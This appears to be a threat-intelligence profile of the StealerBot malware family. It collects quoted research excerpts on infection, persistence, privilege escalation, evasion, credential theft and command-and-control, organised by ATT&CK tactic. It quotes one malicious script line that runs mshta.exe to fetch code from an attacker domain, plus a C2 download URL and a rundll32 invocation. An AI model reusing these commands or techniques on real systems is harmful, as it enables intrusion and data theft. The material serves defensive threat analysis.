StealerBot
Associated vulnerabilities
2 CVEs Mallory has correlated with this family across public research and vendor advisories. Each card links to the full Mallory page for that vulnerability.
Associated threat actors
1 distinct threat actor Mallory has associated with this family across public reporting. Open in Mallory to see the full evidence chain and overlapping campaigns.
known for spear-phishing chains that use LNK files to pull RTF or HTA payloads, the StealerBot toolkit, and a very deep infrastructure footprint
Techniques & procedures
34 distinct techniques documented for this family, organized by ATT&CK tactic.
Initial Access
2 techniques
Initial Access
The document uses the remote template injection technique to download an RTF file stored on a remote server controlled by the attacker.
The attackers used spear phishing emails paired with geofenced payloads to ensure that only victims in specific countries received the malicious content. Malicious Word and RTF files exploiting CVE-2017-0199 and CVE-2017-11882 were used as initial infection vectors.
Execution
5 techniques
Execution
Live Console (Module 0xcb) -- reverse shell access
By default, the malware starts a new “cmd.exe” process, forwards data received from the attacker to its standard input, and forwards the process output or error pipeline to the attacker.
The exploit file contained a shellcode... to run embedded JavaScript code invoking the mshtml . RunHTMLApplication function.
These vulnerabilities enable remote code execution through malicious Office documents: one by loading external content, the other by exploiting a memory corruption flaw in the legacy Equation Editor, leading to a potential system compromise when the victim opens a custom crafted file.
The primary objective of this DLL installer is to establish persistence and facilitate the loading of the next stage through DLL sideloading of wdscore.dll, by exploiting the legitimate and trusted executable TapiUnattend.exe.
Persistence
1 technique
Persistence
An LNK file is also created in the user's Startup folder (Start Menu\Programs\Startup\Gapic.lnk), which points to the execution of TapiUnattend.exe located in the APPDATA directory.
Privilege Escalation
4 techniques
Privilege Escalation
Once the process is found, the shellcode injects the embedded PE file into it using standard Windows API calls such as VirtualAllocEx and CreateRemoteThread (or NtCreateThreadEx). This marks the beginning of Stage 3, where the payload is executed within the context of the remote process. | The intrusion chain features multistage loaders, shellcode-based payload delivery... The RTF file exploits CVE-2017-11882... It embeds shellcode encoded as a hexadecimal character string, which is executed upon opening the document to initiate the next stage of the attack.
An LNK file is also created in the user's Startup folder (Start Menu\Programs\Startup\Gapic.lnk), which points to the execution of TapiUnattend.exe located in the APPDATA directory.
UAC Bypass (Module 0xd6) -- CMSTP and IElevatedFactoryServer COM exploitation
UACBypass... designed to bypass UAC and run malicious code with high privileges... By default, it tries to abuse the CMSTP program... If these security solutions are detected, the malware attempts to use... the “IElevatedFactoryServer” COM object.
Stealth
11 techniques
Stealth
The payload shown above is encoded to evade static analysis and detection by signature-based tools... This data is decoded with a simple byte XOR, using the key 0x28.
After initializing the stack, the shellcode begins constructing and storing encoded strings directly onto the stack, which are later decoded at runtime as needed. These strings primarily contain API function names that are resolved dynamically during execution.
Once the process is found, the shellcode injects the embedded PE file into it using standard Windows API calls such as VirtualAllocEx and CreateRemoteThread (or NtCreateThreadEx). This marks the beginning of Stage 3, where the payload is executed within the context of the remote process. | The intrusion chain features multistage loaders, shellcode-based payload delivery... The RTF file exploits CVE-2017-11882... It embeds shellcode encoded as a hexadecimal character string, which is executed upon opening the document to initiate the next stage of the attack.
the embedded JavaScript runs the Windows utility mshta . exe and obtains additional code from a remote server
It also has an exported function named IceCream. This sample can be run with rundll32.exe without any issues: Rundll32.exe StealerBot.CppInstallerDocx.dll IceCream
The document contains an exploit for CVE-2017-0199... we can identify a relationship entry with TargetMode="External" pointing to a remote URL. This URL is used to load a malicious template (RTF) from an attacker-controlled server.
Additionally, the shellcode implements sandbox evasion techniques, performing a series of checks to determine whether it is running in a virtualized or emulated environment. It checks the size of the RAM... It looks for dotnetlogger32.dll
gShZVnyR.Run('mshta.exe https://dgtk.depo-govpk[.]com/19263687/trui',0);
The primary objective of this DLL installer is to establish persistence and facilitate the loading of the next stage through DLL sideloading of wdscore.dll, by exploiting the legitimate and trusted executable TapiUnattend.exe.
Finally, it loads the data as a .NET assembly and invokes the “Program.ctor” method... We never observed any of the implant components on the filesystem. They are loaded into memory by the Backdoor loader module.
The code begins with a well-known trick, performing a check on the Thread Environment Block (TEB) to detect if the program is being debugged.
Defense Impairment
1 technique
Defense Impairment
The library can also process custom commands that provide the following capabilities... Add Windows Defender exclusions;
Credential Access
5 techniques
Credential Access
A separate credential-harvesting infrastructure cluster impersonated the Directorate General of Defence Purchase (DGDP), Directorate General of Forces Intelligence (DGFI), Bangladesh Air Force (BAF), Bangladesh Ordnance Factories (BOF), the national webmail portal (mail.gov.bd), and Bangladesh Police, funneling stolen credentials to centralized backend collection domains
This module uses the “SetWindowsHookEx” function specified in the “user32.dll” library to install a hook procedure and monitor low-level keyboard and mouse input events. The malware can log keystrokes...
The module is a .NET library designed to steal Google Chrome browser cookies and authentication tokens related to Facebook, LinkedIn and Google services...
The module is a .NET library designed to steal Google Chrome browser cookies and authentication tokens related to Facebook, LinkedIn and Google services...
File Stealer (Module 0xd4) -- targets .ppk ... For a diplomatic target, the file stealer and credential modules are the priority. .ppk files (PuTTY private keys) are specifically targeted
Discovery
3 techniques
Discovery
It then collects basic system information and sends it to a hardcoded URL for the command-and-control server... Computer name... CPU model... List of drives and their capacity... Available physical memory... Available virtual memory... MAC address... information about installed antivirus software is also collected
Additionally, the shellcode implements sandbox evasion techniques, performing a series of checks to determine whether it is running in a virtualized or emulated environment. It checks the size of the RAM... It looks for dotnetlogger32.dll
The code begins with a well-known trick, performing a check on the Thread Environment Block (TEB) to detect if the program is being debugged.
Collection
5 techniques
Collection
The final stage delivers StealerBot, a credential stealer used for data exfiltration and persistent access... used for credential and information stealing
It also scans removable drives to steal files with specific extensions.
A separate credential-harvesting infrastructure cluster impersonated the Directorate General of Defence Purchase (DGDP), Directorate General of Forces Intelligence (DGFI), Bangladesh Air Force (BAF), Bangladesh Ordnance Factories (BOF), the national webmail portal (mail.gov.bd), and Bangladesh Police, funneling stolen credentials to centralized backend collection domains
This module uses the “SetWindowsHookEx” function specified in the “user32.dll” library to install a hook procedure and monitor low-level keyboard and mouse input events. The malware can log keystrokes...
This module periodically grabs screenshots of the primary screen.
Command and Control
4 techniques
Command and Control
It then collects basic system information and sends it to a hardcoded URL for the command-and-control server... The server's response is obfuscated using two layers of encoding
SideWinder (APT-C-17) is suspected to have links to India and is known for its multi-stage cyberattack campaigns in the Middle East.
If the above checks pass, the shellcode loads winhttp.dll and uses its exported functions, such as WinHttpOpen and WinHttpConnect to download the next stage from hxxps://advisory[.]army-govbd[.]info/ISPR/7201a146.
Live Console... can be used as a passive backdoor, listening to the loopback interface, or as a reverse shell, connecting to the C2 to receive commands.
Observables
373 indicators attributed across vendor reports, sandbox runs, and researcher write-ups. Values are masked here and available in full in Mallory.
Recent activity
9 sources tracked across advisories, community write-ups, and news. New activity surfaces here as Mallory finds it.